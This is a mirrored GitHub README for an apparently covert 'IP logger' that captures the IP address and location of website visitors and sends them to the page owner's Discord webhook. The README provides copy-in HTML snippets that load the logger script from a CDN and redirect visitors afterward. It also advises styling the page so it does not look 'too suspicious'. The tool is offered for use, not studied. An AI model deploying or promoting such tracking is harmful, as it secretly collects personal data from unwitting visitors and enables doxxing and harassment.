GithubHelp home page GithubHelp logo

luisoos / logger Goto Github PK

View Code? Open in Web Editor NEW
12.0 1.0 11.0 29 KB

Client side JavaScript IP Logger, sending logged data to your Discord Webhook! ๐Ÿ‘€

License: MIT License

JavaScript 75.71% HTML 24.29%

logger's Introduction

IP Data to Discord Webhook

With this JavaScript program you can log the IP of someone visiting your website and send IP information to your Discord Webhook.

๐Ÿ‘€ Preview

Example image.

The country flag changes to the country where the IP is located!

๐ŸŽฌ Usage

Method 1 (CDN):

Just copy this into your website and change the redirect and webhook URL:

<!-- Copy this into the <head> -->
<meta http-equiv="refresh" content="3;url=MAINPAGE.html" /> 

...

<!-- Copy this into the end of <body> -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
<script src="https://cdn.jsdelivr.net/gh/luisoos/IP-Log-To-Discord-Webhook/index.js"></script>
<script>var webHookUrl = "YOUR_WEBHOOK_URL_HERE";</script>

Method 2 (Local):

Set up

Copy the project.

Change the variable webHookURL in index.js to your URL.

Redirect

Let a user redirect to another site after the IP was logged.

Just add the following to your <head> in index.html:

<meta http-equiv="refresh" content="3;url=MAINPAGE.html" />

Additional tip

If you want to, you can style the index.html file, so it doesn't look too suspicious.

๐Ÿ“‘ Annotations

License

This project is licensed under the MIT License.

Discord Mobile Preview

logger's People

Contributors

luisoos avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

logger's Issues

Bug

Hello.
I believe this script doesnt work if a visitor has an ipv6 and ipv4 address, however if i try it with only ipv4 then it sends a msg through the webhook

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.